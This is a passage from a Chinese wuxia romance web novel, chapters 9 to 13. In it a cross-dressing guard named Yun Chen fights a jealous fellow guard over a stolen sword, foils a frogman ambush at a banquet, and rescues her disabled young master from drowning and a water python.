叶峮知道她误会了,刚想解释,就听一道充满鄙夷的声音横插进来:
“哼,你是得供起来!这隐月剑是霍家传家之宝,曾斩杀过东炎王爷,是少主从前贴身之物,其价值连城,一丁点铁屑就能买你一条命。真不知少主怎么会将隐月剑赏给你这么个乡巴佬!”
第一卷 第9章 不动口,只动手
霍家宗族旁支众多,到了霍宸那一脉,因父母早亡,家里七零八落,已没什么人丁。
因此,霍宸总是被同族兄弟姐妹欺负。
最过分的一次,是在霍家全族宗庙祭祖时,他被骗到一口枯井旁推了下去。
他摔得浑身是伤,又疼又怕,坐在幽深的枯井里,哭得嗓子都哑了。
最后是路过的霍乾念救了他。
霍乾念扔下一根绳索,用最平淡的语气道:
“是爬上来快,还是哭死投胎更快,你自己选。”
霍宸就这样被他那即将荣登少主位的霸气堂哥收服,毅然决然与家里断了联系,苦练一手刀法,改名“花绝”,在霍乾念身边做了贴身亲卫。
说到底,花绝是霍家人,是霍乾念八百辈子不相识的远房堂弟。
故而,护卫们都对花绝有几分忍让和忌惮,从不与之争执。
见花绝说话这么难听,叶峮不好反驳,只得打圆场:
“说的是,宝剑配英雄,少主的剑,自然是绝世好剑,辛苦云兄弟代为照顾。”
花绝一手扶着腰刀,身子拔葱似的微斜后仰,面露不屑地打量云琛服制,冷笑:
“原来还只是个‘行’字护卫,你也配摸少主的剑?”
叶峮替人尴尬的毛病都快犯了。
他紧张地看向云琛,却见后者不恼也不怒,反而十分认同地点点头。
“你说的对,我不配。可我现在没钱,要不你借我一些,我抓紧时间盖座庙,立马将剑供上。”
花绝被噎得一愣。
他不知云琛是个心里怎么想,嘴上就怎么说的直筒子性格,还以为她是在出言讽刺。
他脸色一变,正要发作,润禾却跑过来叫道:
“叶护卫,花护卫,少主在书房叫你们呢。”
云琛今日值守的位置在中堂,离书房很近,估计三人刚才的争执,霍乾念多少听到了一些。
花绝鼻子底下冷哼一声,十分瞧不上地瞪了云琛一眼,转头向书房走去。
叶峮暗自叹气,更加同情地拍拍云琛的肩膀。
云琛并不在乎那二人都在想什么,气什么,她只是深深地陷入了一个难题:
上哪里借钱盖庙呢?
半日后,叶峮和花绝再从书房出来时,花绝看向云琛的神情中,多了一丝怀疑,但主要还是鄙视。
叶峮则面露欣喜,将云琛拉到一边,嘱咐道:
“过几日要去青禹洲赴宴,少主叫你与我们同去,你一定要好好表现!”
叶峮希望云琛能抓住这次机会,得到霍乾念青睐,免了杀灾。
花绝从旁冷笑:“让这小子和我一组,我倒要看看他有几分能耐!”
云琛完全没听见花绝在说什么,她心里面记挂着一件小事,对叶峮道:
“既然将要外出护卫,那今日我去办点私事,可以吗?”
叶峮道:“行,不必去轮值房画卯,直接去就行了。”
“多谢。”云琛说完转身就走。
一旁,完全被当成空气的花绝气得大骂:
“外出护卫多凶险,我看你是怕的要死,准备跑路吧!”
然而云琛只是回头笑笑,并不计较。
花绝一拳打在棉花上,更气了。
心有不甘,又担心云琛逃跑,花绝悄悄跟在云琛身后。
只见云琛先是去大房翻找了什么,将一样东西塞进腰间,又把隐月剑放在床铺上。
走出去两步,她又拐回来,将剑塞进枕头下面,拿被子仔细压好,才又离去。
看着她不放心的样子,花绝嗤笑,心中更加鄙夷:
那可是霍乾念曾贴身多年的隐月剑,谁敢偷敢动?
骂归骂,脚下不能停。花绝跟着云琛一路出府,直奔城东,尾巴着火地走了半时辰后,停在了红坊小巷——烟城最有名的窑巷门口。
云琛寻到其中最大的一间屋子,找她的“老情人”丹蔻。
敲门过后,一位准备离去的客人前来应门,说丹蔻还在穿衣服呢。
云琛觉得不便打扰,便将东西从腰间掏出来,请客人转交给丹蔻。
花绝躲在巷口看着这一切。
他没太看清,隐约瞧见云琛将一根软绵绵、艳红柳绿的腰带还是什么的,递到一个男人手里。
他愣了一下,随即脑子里已想象出十几种恶心画面,不由切齿:
“狗日的脏东西,怎配在少主面前伺候!”
骂完,花绝脑筋一转,十分厌恶地啐了口吐沫,飞快往霍府方向跑回去。
等云琛回到霍府的时候,花绝正抱着胳膊靠在大房门口,表情戏谑又轻蔑,一副等着看好戏的样子。
云琛懒得搭理他,结果一进大房就看见她的铺盖全被扔在地上,枕头泡在角落的脏水桶里,已经骚臭发涨。
她忙冲到榻前摸索,顿时心头一沉。
隐月剑不见了。
作为护卫,丢兵器不亚于丢命,何况还是霍乾念才刚刚给她的绝世宝剑!
她火“蹭”一下冒上来,见旁边几个相熟的护卫都同情地看着她,却不敢说些什么,她立刻明白所有,扭头冲出大房,未等花绝反应,已一脚飞出去,重重踹在花绝肩头。
花绝本已准备好一肚子吵架专用脏话,却没料到云琛什么都不说,上来就开打。
他全无半点防备,整个人结结实实被踹撞在廊柱上,疼得眼泪差点出来。
感受到这一脚的力度,花绝知道,云琛是真生气,真使力气了。
花绝没想到这个看起来小白脸气质十足的少年,动起拳脚来这么有劲。
更没想到这霍府人人给他两分面子,这新来的竟然完全不把他当回事!
“你娘的!”花绝骂了句脏话,甩开膀子回击。
云琛避开一招,狠狠扯住花绝领子:“把剑还我!”
花绝挣脱开,招招下死手,“你的剑?那是少主的剑!你算什么脏东西!也敢来打少主的主意!”
“好!那我打到你说!”云琛说罢表情微肃,眼中透出一抹杀意,令花绝陡然警惕。
他这才明白,刚刚他勉强才能接下来的几招,竟只是云琛表皮功夫而已,这会儿她才是要动真格了。
这家伙实在不可小觑!
想到这里,花绝快速后退闪躲,赶忙重新调整打斗招式,抽出腰间佩刀,以杀敌姿态再次冲上去。
云琛没有武器,只能随手拿起院子里的扫帚抵挡和回击。
二人从院子打到屋顶,又从屋顶打到墙边。
一众护卫从旁围观,见花绝亮着白刃,完全是正经杀斗架势;
那云琛更狠,虽然扫帚已被刀砍秃,只剩一根尖棍,但在她手里,却犹如长剑闪着锋利白光,好几次都打得花绝差点招架不住。
众人看得心惊肉跳,不敢也没本事上去插手,只能在旁边好言相劝。
但二人显然一个字都听不进去,打得招式越来越狠,很快就见血。
“不成了!快去叫叶头儿来!敢在府里动手,事情闹大可不得了!”一个护卫急声说。
很快,叶峮匆匆赶来。
见院子里乌泱泱围满了护卫、家仆,屋顶上的云琛和花绝打得难舍难分,叶峮暗道大事不妙,赶紧大喝一声,冲上去将二人分开。
叶峮扭着二人下屋顶。
花绝仍在叫骂不休,而云琛则不停挣扎还要打,比那过年的猪都难按,累得叶峮头上直冒汗。
好不容易将二人稳住,还没来得及训斥,润禾突然跑过来,说霍乾念下令,将人带去北柠堂。
众护卫纷纷呲牙咧嘴,不光感叹霍乾念消息太灵通,更替云琛和花绝感到害怕。
霍阾玉说过,霍乾念对出生入死的护卫都很好,很少骂人。
因为霍乾念一般不动口,只动手。
第一卷 第10章 觊觎少主的美色
霍乾念发话带人,就说明他已经将事情来龙去脉了解得七七八八。
叶峮原本还打算仔细编个理由,将云琛和花绝的打架之事遮掩过去。
眼下看来,已绝无可能。
“唉!”叶峮无奈叹气,只得将人带到北柠堂。
正堂里鸦雀无声,还未走进去,叶峮就感到一种极强的压迫感。
他飞快地扫了霍乾念一眼。
没看清。
好像就看到一团雷电欲摧的黑云。
霍乾念面无表情地坐着喝茶,一旁还站着八个身材魁梧的武备总管。
府上的武备总管平时主要负责护卫们的武艺训练、考核、兵器等,也负责依照霍府规矩施刑责罚。
他们能出现在这里,就说明云琛和花绝这场架,挨罚是少不了了。
没办法,内斗打架,说到哪里都不好听,更何况是在霍府这样规矩森严的豪门家族,而且还是霍府有史以来头一回。
影响恶劣不说,还正赶在重要的青禹洲宴饮前夕。
这就好比孙悟空大闹王母娘娘蟠桃会。
嫦娥搁那准备上场跳舞呢,猪八戒把她跳舞的衣服偷出来穿自己身上了。
叶峮觉得,今日二人只怕得交代半条命在这。
再瞧瞧一声不吭走进正堂,未等霍乾念发话就自觉跪下的云琛和花绝,二人都梗着脖子,一副“就是我动的手,咋的?”的熊样。
叶峮觉得,人有时候还是不能太勇敢了。
他默默在心里替二人祈祷。
高座上,霍乾念垂眼打量跪得笔直的两个“熊包”,一个个鼻青脸肿,衣服上全是刀痕和尘土。
花绝甚至额角带血,看起来都有点破相了。
霍乾念一句话都不说,只用冰冷隐怒的眼神看着二人。
正堂里安静得叶峮都不敢咽口水。
这种沉默往往比直接发火更吓人。
寂静了半晌,霍乾念冷冷吐出一句:
“各打五十。”
这话一出,所有人都惊了。
霍府的刑具不是布满细小毛刺的铁索鞭,就是两板子能将人打吐血的坚硬沉重的铁桦木板。
打五十?
只怕刑是午时二刻打的,人是午时三刻走的。
一听要上重刑,花绝急了,指着云琛大叫:
“少主!这小子是个兔爷!我亲眼看到他去窑巷!和一个男人拉拉扯扯,还送腰带给人家!少主!这样的脏东西不配留在霍家!”
啥意思?兔爷?男人喜欢男人?
堂内众人皆愣,不由都看向云琛。
花绝虽然行事有点乖张,但人品没得说,绝不会撒谎。
再看云琛,她发丝微乱,眼眸低垂。脸颊上,两道伤印如女子口脂似的嫣红,衬得她皮肤更加白皙如美玉。
她整个人看起来像快碎了似的,紧紧抿着嘴,一副倔犟却不肯解释的样子,小模样确实我见犹怜。
再联想前几日传的沸沸扬扬的“云琛偷看霍乾念洗澡”的事,众人立马下意识信了花绝的话,纷纷看向霍乾念。
霍乾念脸上倒没什么特别的,他一向不轻易透露喜怒,众人都早已习惯。
但叶峮还是从他眼中捕捉到一闪而过的惊讶和低沉。
霍帮男人多,最忌讳龙阳断袖,俗称兔爷。
如果云琛真如花绝所说,那按照规矩,必须将她逐出霍府。
“云琛。”霍乾念叫了声她的名字,但没有问任何问题。
云琛抬起头,也没有说一个字,只用一双大眼睛直视着霍乾念,迎着那审视怀疑的目光,毫不畏惧地看过去,眼神里没有一丝怯懦。
不知是从云琛那双看起来委屈、倔强又可怜的大眼睛里看出什么了,霍乾念的眉头拧了又散,最终开口道:
“谣言无稽,不必多说。拖下去,各打五十。”
几个武备总管上前,分别拖着花绝和云琛往外走,互相对视一眼,都在心里犯嘀咕:
说是打五十,没说用什么打啊?
一个武备总管小声问:
“少主,用什么打,打哪里呢?”
霍乾念刚要开口,就听花绝委屈巴巴地叫道:
“少主!你干嘛信这个小白脸不信我?我是为你着想啊!必须得把他赶走!他觊觎少主你的美色啊!”
美……色?
叶峮愣愣地看向霍乾念。
霍乾念腿废了之前,身形高大,武艺超群。
腿伤之后,由于长期坐卧,很少外出,他确实不似从前英武,整个人有些瘦了,样貌也从锋利变得阴郁俊美了许多。
但要说美色?
叶峮觉得,花绝好像在用一种很高级的方式,拐弯抹角地骂主子。
果然,就着武师问的那句“用什么打?打哪里?”
霍乾念寒声道:“用盐水柳条!抽嘴!”
另一边,拖着云琛的武备总管也试探地看向霍乾念。
霍乾念打量云琛一眼,后者仍旧一副既不解释也不怕罚的样子。
早在云琛和花绝来之前,霍乾念就已将事情了解大概。
这场架,花绝挑的头,云琛先动的手,就这么简单。
想了一下,霍乾念道:
“用竹尺,打手!”
那武备总管愣了。
责罚护卫不是鞭子柳条,就是棍子板子,竹尺是个什么东西?
见武备总管不应声,霍乾念不悦道:
“润禾,去我私库里翻!”
武备总管赶紧退下,跟着润禾在私库里翻找半天,才找到一根半掌宽、一尺长、薄薄一片竹子做的裁衣尺。
润禾对神情迷惑的武备总管笑道:
“您小心些用,这是少主小时候写错字,老太爷经常用来打少主手心的。”
“小时候打手心的?”
“对,好像是七八岁的时候。”
“啧……”
武备总管砸吧两下嘴,摸不准霍乾念的意思,想着这小竹板也不能将人怎么样,便用足力气,朝云琛手心狠狠打去。
却不料刚打没几下,恰好打到云琛昨夜被隐月剑划伤的地方,霎时血珠子冒了满手,染得竹尺上血迹斑斑,看着挺吓人。
“不行,得禀告少主,都打出血了!”润禾完全不顾武备总管呆愣的表情,急忙跑回正堂,又一溜烟跑回来,道:
“少主说,今日就打这些吧,剩下的记账上,下次打。”
“记账?”这下,武备总管更讶异了。
来霍府这么多年,他第一次听说挨罚能欠能记账的,但他不敢多言语,赶紧又将云琛带回正堂。
花绝还在外边挨打。柳条声簌簌划破空气,一点都没有要停下的意思,抽得他呲哇乱叫。
云琛跪在堂中,轻轻握了握满是血的手心,定定看着那道被隐月剑划出来的伤口,完全没注意到高座上的霍乾念一直在看她。
这时,润禾从旁捧出花绝藏起来的隐月剑,正要去给云琛,霍乾念却抬手拦了一下。
他将随身的帕子丢在剑柄上,润禾才端给云琛。
云琛正在愣神,下意识接过剑,手心握在剑柄的帕子上,微微止住了血。
一见剑回来,云琛的眼圈瞬间有点发红。
仿佛这场欺辱,到此刻才泛上酸涩。
霍乾念的唇角勾起一丝他自己都不曾察觉的笑意,声音也带了两分调侃:
“剑是拿来用的,不是拿来供的。你若剑不离身,又怎会让人偷去?”
云琛点点头,又摇头,声音有点嘶哑:
“我不佩用这么好的剑。”
她既没有受过霍乾念的恩情,身份来路不明,说话也不讨喜,又是个偷偷摸摸女扮男装的,还是全霍帮都在抓的“带猫刺客”。
云琛知道,她的确没资格接受这把剑。
霍乾念却道:“但本少主有资格——有资格叫你用这把好剑来保护我,不是吗?”
云琛心头微动,看向霍乾念。
他已敛正神色,语气不容置喙:
“这剑在你手里,才不至于亏了它,浪费了它的好年华。”
第一卷 第11章 神叨叨的颜十九
霍乾念头上的“寿星公包”彻底好了的时候,青禹洲宴饮日来临。
洲上繁花似锦,屋宇低矮连绵,是达官显贵常来游玩的地方。
霍帮的八艘大船成四面八方之势,耸立在洲边水面上。
韩家只带来两三艘小船护卫,对比之下,显得势弱许多。
霍乾念与韩家的人在一处水边矮楼宴饮,叶峮和花绝在霍乾念身边随护,云琛在仅次于二人的厅门值守。
厅门紧闭,云琛看不见里面的情形,只听见里面莺歌燕舞,似乎是韩家专门请的舞乐班子,用来讨好霍乾念的。
虽然气氛乍看很祥和,但云琛朝四周看去,一众护卫全都凝神警戒,不敢有一丝放松。
不远处的船只上,也隐约可见霍帮堂口上调来的打手们全副武装,不停地走动巡逻。
霍帮一直想吞并韩家及其生意往来,拿下权与利甜头最大的盐行,以在争夺首富之路上大进一步。
这“小”算盘打的全楠国都知道。
韩家自然也知道。
但他们怎舍得手里富得流油的一切,故而诚邀霍乾念会面,恳求霍乾念高抬贵手。
成,自然韩家欢喜;
不成嘛,兔子急了还咬人呢,极有可能当场翻脸掐架。
所以,尽管韩家已摆出最低的姿态,美酒佳肴地伺候着,但霍帮护卫们还是不敢松懈。
云琛在厅门值守了两个时辰,花绝从偏门露出肿得猪头一样的脸,出来与云琛换岗。
“进去以后机宁点,八给少主丢银!”花绝嘴巴肿得厉害,说话时候吐字不太清楚。
云琛瞥他一眼,“闭嘴吧,你个偷剑贼。”
花绝气得脸涨红,想骂人,却被云琛一门板拍在鼻子上,只能悻悻作罢。
云琛进入正厅,刚一进门,就感到一团暖风扑面而来,满厅都是舞姬身上的脂粉香、菜肴酒肉香。
云琛晨起没吃饭,感觉肚子有点咕咕叫。
她走到霍乾念身后站定,快速打量厅内情形,将一众宾客的座次、随护、年龄样貌,一一尽收眼底。
大概是云琛相貌气质实在太出挑,宾客席中,一道目光一直追随着她。
云琛顺着视线看过去,只见一白衣公子正直勾勾地看着她笑,见她看来,竟丝毫不避讳,反而笑得愈发放肆。
云琛不爽,但又不能发作。
这时,一直目不斜视的霍乾念好似身侧长了眼,突然开口:
“颜公子,你一直盯着我的护卫作甚?”
那白衣公子轻声笑起来,悠哉晃动着手中折扇,笑道:
“你家这护卫好生俊俏,我喜欢。”
韩家的人与霍乾念对坐高座,明显看到霍乾念的脸冷了下去。
韩家人心中担忧,觉得真不该带这个不久前才入伙盐商的颜十九一起来,此刻惹恼了霍乾念可不行。
未等韩家人开口,颜十九又合起折扇,掸了掸白衣,用扇子指着云琛,轻佻道:
“霍少主,这护卫多少钱,我买了。”
霍乾念冷笑一声,“连人带剑,价值连城——你买不起。”
说罢,霍乾念再不看颜十九一眼,只与韩家人继续说话喝酒。
颜十九当众被臊了这么大的面子,竟也不恼,反而仔细地上下打量云琛,点点头,自言自语道:
“确实,我最多只买得起剑。”
这话听着不像讽刺,甚至是夸赞。但云琛还是不喜地蹙眉,却见颜十九又朝她挑挑双眉,露出个灿烂的笑容,颇有点“调戏”的意思在里头。
“你去和花绝换岗。”霍乾念微微偏头,低声说。
云琛领命退下,与端着点心上桌的润禾擦身而过。同时霍乾念随手去拿点心,挑了一块乌梨酥。
正厅外面,见云琛这么快就出来了,花绝不由鄙夷:
“到底是上不得台面的乡巴佬!这大场面吓西宁了吧!”
云琛根本不接茬,只抱剑走到值守位,道:
“你闭嘴省些力气,一会有你使劲儿的时候。”
花绝纵然再看不起云琛,也深知护卫之责,他一下就听出云琛话里的意思,估计是她方才进大厅察觉到了什么。
可花绝还是有些怀疑,他做护卫这么多年,经验丰富,在厅里待了两个时辰,都没觉察出任何异样。
这小白脸才刚进去一会儿,怎么就发现问题了?
花绝整顿面容,严肃道:
“宁看粗什么来了?若有隐患,得立即报告叶峮。”
“说不上来,就是觉得今日水里鱼很多。”云琛从腰里摸出些碎渣子,丢在四周水里。
花绝哑口无言,外出护卫还带着鱼食,云琛怕是头一个。
骂了句“神经病”,花绝赶忙入厅。
云琛则盯着水面上久久不沉的碎屑,慢慢眯起了眼睛。
她将剩下的碎屑丢进嘴里,然后朝不远处一直盯着她和花绝二人、生怕他们又打起来的叶峮比了个手势。
云琛竖起食指,转动手腕,在空中画了个圈,然后反手比刀,在自己脖子上比划了一下。
叶峮瞬间明白云琛的意思,顿时面色大变。
很快,四周的霍帮打手、护卫们,全部开始悄悄朝正厅靠拢。
云琛侧身贴靠在厅门上,听见里面一会有人大笑,一会又有人怒骂,一会霍乾念说了些什么,一会又有人高声怒喝。
未等叶峮带人赶来,厅里突然响起一声暴喝,紧接着便传来桌椅被踹翻、刀剑交接的声音。
云琛一脚踹开厅门,拔剑飞身而去,瞅准韩家护卫,一剑杀倒一个,三两步冲到霍乾念身边。
只见韩家护卫已经全部拔刀亮刃,霍帮护卫们面朝外成包围圈站立,将霍乾念围护其中,抵挡着韩家护卫们的攻击。
云琛率先对外发起进攻。
她抬脚踹倒离她最近的一个韩家护卫,然后借力飞起,在空中来了个鹞子翻身,边挥剑戳死一人,边顺手拾起地上一把短刀,飞投出去,扎死了花绝背后的偷袭者。
偷袭者的刀擦着花绝后心过去,掉落在地上。
花绝愣了一瞬,目光不自然地沉下去。
大厅里杀意正浓,鲜血四溅。
那颜十九却一身白衣立在一旁,面上波澜不惊,甚至手里还拿着把瓜子在嗑,一脸看得有趣的模样。
“你小心些哦,别伤到自己。”颜十九对云琛嘱咐。
云琛懒得搭理这个神叨叨的颜十九,她一剑挑断一个韩家护卫的咽喉,立刻和花绝贴近霍乾念,全力对外防守,辅助其他护卫连轮椅带人抬着霍乾念,往厅外撤退。
刚走了没两步,忽听一阵水声哗哗响起。
几十个身材短小纤瘦、皮肤黝黑的蛙人,突然从四周水面冒出头,跳上岸杀来。
好在云琛早就发现不对劲,她先前进厅护卫的那一会,站立的位置靠厅后,紧挨着水边,一直听到水面有鱼吐气泡的声音。
她极擅水性,听那气泡大小,感觉是大鱼,可再听那气泡的数量,像是同时有多条大鱼聚集此处,这是不太寻常的事。
她便抛撒鱼食入水,见鱼食一直浮在水面上,根本没有鱼来吃,她便猜到水里有埋伏。
幸亏她早有警觉,叫叶峮有所防备调动。
那些蛙人揣着刀上岸,大部分刚一露头,就被霍帮护卫斩杀了。
只是厅内的霍帮护卫们没能及时得到消息,被几个手脚利索的蛙人杀打得措手不及。
那两个抬霍乾念的护卫,其中一人被蛙人拖住脚,不慎滑倒,直接松脱开抬着轮椅的手。
霍乾念身子一歪,随即连人带椅滑向一边——
霍帮护卫们眼睁睁地看着自家主子犹如飞鱼一般,在空中划出一道优美的弧线。
然后直直飞出窗子,“扑通——”落进了水里。
第一卷 第12章 少主,你很吵哎
水面炸起一朵大水花,霍乾念沉没得悄无声息,连个泡都没冒。
霍帮护卫们全体呆住,仿佛听见霍家祖宗们召唤他们下去伺候的声音,纷纷惊恐大叫:
“救少主!!”
话音未落,就听又是“扑通”一声。
云琛已经扔下隐月剑,一猛子扎进水里。
湖水清澈,云琛能清楚地看见霍乾念正在快速沉底,且已经沉下去不短的距离。
她往前游了几步,估摸现在屏住的这口气不够,便又掉头往水面游,准备将气吸饱再下来。
与此同时,其他擅水性的霍帮护卫们也都跳下水,和云琛一样,游出去一段距离,才感觉自己潜不了那么深,没本事救人,只能又返回水面,着急想办法。
水中,霍乾念还在持续下沉。
从他的角度看去,水面上全是扑腾的护卫们,所有人都想救他,可又全都被这水深吓退。
没办法,他如今双腿残疾,只靠手臂根本无法凫水,实在下沉得太快,护卫们就算豁出性命也是白费。
他看着自己毫无知觉的双腿,溺水的压抑感逐渐散去,一种深深的无奈和悲凉袭上心头。
他不再挣扎,缓缓放平手臂,任由身子往最深的水底坠去。
可紧接着,像有人张满烈弓,将一支锋利急箭射进水中。
一道如飞鱼敏捷的身影,笔直飞快地朝他游来。
距离太远,他看不清来人的面孔,只看到那气势无比决绝又坚定,好像在说:
别怕!我来救你!我一定救你!
他不由定定地望着那身影,心里重新升起希冀。
直到云琛的面容清晰出现在眼前,他才第一次知道,原来急箭之尖可以没有杀意——
她的眉眼那样沉静温柔,脸颊白皙得像一团光晕,自这深蓝色的湖水由远及近,吸引着他全部的心神。
他下意识重新挥动起双臂,窒息感再次席卷而来。
所以当腮帮子鼓得像河豚一样的云琛凑过来抱他的时候,他直接揽住她后颈,吻了上去。
她惊得下意识后退闪躲,却又想起自己的护卫职责,只得强稳住扑扑跳动的小心脏,任由他吻住,渡了续命的一口气。
霍乾念倒没有想那么多,只忍不住心道:
“这臭小子果然偷吃了我的乌梨酥!”
渡完气,云琛赶紧抱着霍乾念浮出水面。
谁知刚一露头,就有好几个蛙人挥刀杀来。
云琛一手抱着霍乾念,一手与蛙人搏斗,脚下还要不停地游动凫水,一时间颇为吃力。
她想要呼喊其他人来帮忙,却见叶峮和花绝等人也在和蛙人杀斗,无人有空。
云琛虽然擅水性,但总不及海里长大的蛙人,又拖着霍乾念,很快占了下风。
两个蛙人铁了心要杀霍乾念,云琛打翻一个,另一个的刀尖已经对准了霍乾念的胸口。
云琛侧身扑过去,挡住霍乾念,肩膀上结结实实挨了一刀,血唰地冒出来,在水面晕开。
云琛一脚踹开面前的蛙人,反手拔出肩膀上的刀。
她抱着霍乾念,瞅准最近的一艘霍帮船游去,却突然感到腰间一紧,一股极大的力气勒住二人,朝深水拖去。
云琛只来得及吸半口气,就整个人淹进了水里。
她慌乱去抓,只摸到冰冷滑腻的蛇鳞——
一条足有大腿粗的水蟒缠绕着她与霍乾念,张着獠牙朝她的肩膀狠狠咬下。
顾不得肩膀传来的钻心疼痛,她一刀扎进蟒身,趁水蟒吃痛甩开的功夫,抱住霍乾念用力向上托举,将他整个人承托出水面,得以呼吸。
她仍旧憋气埋在水里,只攥着一把短刀,和水蟒缠斗。
这时,一股比水蟒还要霸道的力气猛烈袭来,暗流将二人一蟒裹进其中,朝不知名的方向急速流去。
云琛此时已根本顾不上离岸多远,她全部力气都用来撑着霍乾念露出水面呼吸。
暗流凶猛,水蟒也被卷得松了些力气。
二人一蟒在水中浮浮沉沉,被水打得昏头昏脑,只觉五脏六腑都要移位了。
不知飘了多久,感觉到水流渐缓,终于露出水面,云琛强忍住呕吐感,趁脑子清醒的一瞬间,用尽全部力气,将霍乾念狠狠推向岸边。
她自己则整个人被水蟒绞缠住,再次沉进水里。
“咳咳咳……”霍乾念趴在岸边,剧烈地咳嗽,将肺里的水咳出来。
他想要回身去拉她,但两手撑在地上,拖着没有知觉的双腿,怎么都动不了,只能大口大口地喘着气,急声呼喊她的名字。
“云琛!云琛——”
回应他的只有平静的水面,和一丝即将散去的波纹。
他环顾四周,只见密林成片,荒无人烟,像是一处偏僻水岛,没有一个人可以来帮忙。
很快,他看见大量鲜血混着泥沙从水底翻涌上来。
水面像沸腾了一样,剧烈地翻动起,整片水域都被血和沙搅得浑浊一片。
也不知道她能不能听见他的声音,他大喊:
“云琛!扎七寸!”
水面继续翻涌,更多的血涌上来,将水染得一片暗红。
最后,水面在一阵暴烈搅动后,终于缓缓平静。
他紧张地盯着水面。
下一刻,一只苍白的手臂猛地钻出水面,用手指死死抠住泥沙,拖着身体慢慢爬上岸。
她身子打晃地站起,身上挂满污泥和水草,看起来狼狈不堪。
她将黑乎乎的蛇胆抛下,接着一头栽倒在地上,再也不动一下。
她肩膀上先被刀扎后被蛇咬的伤口,已经被水泡得边缘翻起,其他原本被水洗净的伤口,也全都开始慢慢渗出血。
很快,她趴着的地上殷红一片。
霍乾念清楚地从她衣领、袖口,和破碎的裤腿看到,她白皙的身体上到处黑紫,全是被水蟒缠绕的痕迹。
“云琛!你给我醒来!”他大声命令。
她一动不动,没有回应。
“醒来!快醒来!”他又喊。
她还是不动。
就这么喊了一声又一声,最后他急得开始抓起手边的沙子丢她时,她才艰难地动了动头,声音嘶哑虚脱:
“少主,别喊了……你很吵哎……”
第一卷 第13章 换谁不迷糊?
叫她扎蛇七寸,她倒好,直接掏人家蛇肚子抠蛇胆。
怕她重伤死了,呼唤她的名字,她倒嫌弃他太吵。
霍乾念很不高兴。
尤其此时此刻,看着云琛坐在火堆旁兴高采烈地烤蛇胆,那没心没肺的样子,他感觉更来气。
他心里有气,但他不说,只冷着一张脸。
暗流将二人卷到这处水岛,云琛查看过四周,确实没有人烟。
估摸着叶峮他们找过来还要不少时间,云琛便找了一处干燥山洞,将霍乾念安置下来。
她专心致志地烤蛇胆,根本没发现他脸色有多冷。
“少主你看,这蛇胆好大!我师父以前经常烤蛇胆给我吃,越大的蛇,胆也越大,但太老了,没小蛇胆嫩乎。”
她将从树林里找来的一种香草涂在蛇胆上,将烤好的蛇胆仔细吹吹,递到他面前。
涂了香草的蛇胆没有腥味,散发着令人垂涎的肉香。
在她两眼冒星星的期待中,他拿过蛇胆,吃了两口,轻哼一声,算是表示认可。
她呲着牙笑起来,又跑去一边捣鼓火堆。
她将火烧的极旺,将他挪到靠近火堆的位置,帮他烘烤衣服,然后找来一块拳头大小的白石,开始拿刀凿石头。
她神色认真,一点点将石头中间掏空。
他瞧见短刀的刀刃整个都卷了起来,是在方才与水蟒搏斗的过程中造成的。
那么坚硬的刀刃都成这样了,那使刀的人呢。
他忍不住细看她,只见她从头到脚浑身是伤,拿刀的手上全是血口子,虎口处甚至都裂开了。
他心里头的气消了一大半,问:
“你要做什么?”
她抬起头,小鹿一样干净的眼睛里带着笑意,说道:
“凿个杯子,给少主泡茶喝。”
看着“少年”纯真坦荡,全无半点奉承之意,霍乾念感觉心尖像被簇新的火苗轻轻撩了一下。
他喉结动了动,没有说话,眼神却不自觉地柔软起来,心道:
有这样的好小子当护卫,换谁不迷糊?
他开始琢磨要不要提拔她当亲卫,考察期都没过呢,会不会太快了些?
再加上那带猫刺客的事。
他早在竹林深院杀斗时,就从她飞腿功夫认了出来,又从那日浴房认出她手里的猫。
一直不拆穿,还专门要她去找刺客,不过是想试探她的心性。
眼下看来,她顾及同在霍帮的兄弟,不滥杀无辜伤害猫儿,也不扯谎向他邀功,前前后后只知道为难自己,决然不是偷奸耍滑的趋利之辈,甚至比他初见预感的还要纯良。
在这污浊喧闹的人世间,他好像第一次见到云琛这样的人,纯白得像山顶的雪。
完全不知霍乾念平静的面容下,心思如何翻涌,云琛凿好杯子,去树林里找了几根嫩竹,掐了嫩叶,以石杯代替水壶,煮了一杯清茶给他。
他握着暖呼呼的茶杯,一点点饮下,整个人都生出暖意。
她却像是突然想起什么,懊恼地一拍大腿,走过来抱住他,将他身子换个方向:
“差点忘了翻面,那边已经干的差不多了,烤这边吧。”
接下来,每隔一会儿,她都要帮他“翻个面儿”。
当她抱着他调转方向时,他蓦地想起花绝大喊过的那句“主子!他觊觎你的美色!”
虽然过后叶峮早已将事情来龙去脉查清,证明云琛并不是兔爷,没有什么龙阳之好。
但霍乾念还是突然生出捉弄人的趣味,想逗逗她,便在她再次抱他翻面的时候,故意身子微微前倾,下巴从她耳边擦过。
见她并没有什么反应,只是低着头帮他整理衣衫,他有点失望。
下一刻,他却注意到她整个耳朵都通红通红的,仿佛要滴血一般。
瞧着她明明面皮薄,却还强装镇定的模样,他差点笑出声。
他真是不知自己怎么了,一对上她,他就一会想骂人,一会又想笑。
自从腿废了以后,死水一样压抑的内心,让他连话都不愿多说。
他习惯于将一切隐藏在冰冷的面容下。
可云琛就像只雀跃的小鸟,一下一下啄着那冰面,一会惹他烦,一会惹他气,一会又挠他的痒惹他笑。
他好像很难再保持住一张冷郁的面容。
他仔细想了想,大概是因为从见他第一面起,到知道他双腿残疾,再到入霍帮尊他一声“少主”。
她自始至终都没有对他表露过一丝一豪的同情、谄媚,或敬畏。
她既不同情他残疾,也不畏他是高高在上的霍帮少主。
她平等地用对待身边所有人的态度对待着他。
从她嘴里出来的那一声“少主”,就和她叫“叶峮”,叫“小六”是一样的。
正是这样的平常心,让他非常自在舒坦。
见他一直眼神柔和地看着她,却不说话,她有些不自在,伸手摸摸脸,道:
“少主,您很喜欢我的脸......皮吗?”
他“噗嗤”一声笑出来,而后又收拾笑容,正经面色问:
“你为什么会入护卫行?”
沉默半晌,她回答:“为报恩。”
他愣住,“报什么恩?”
她像是回忆起什么,眼神渐渐黯然。
“救过我娘的恩情,我要找,要报。”
他快速在脑海中搜索了一遍,却没有任何关于救助过一个妇人的记忆。
原来她已有恩主。
原来她可以用平常心来对待他,是因为她从没想过要认他这个主子。
他心下有些遗憾,还带着一丝难以消解的酸味。
“你愿意入霍帮,是想以后若有机会,让我帮忙寻找你的恩主,对吗?”他又问。
她点点头。
她原本没兴趣加入霍帮,为个不相干的主子出生入死。
但那天在竹林深院,荀戓对她耳语:“霍帮人多,权势大,耳目繁多,也许能帮你找到恩主。”她才答应下来。
他轻轻叹息,像是要眼睁睁看着一块上好的璞玉从手中溜走。
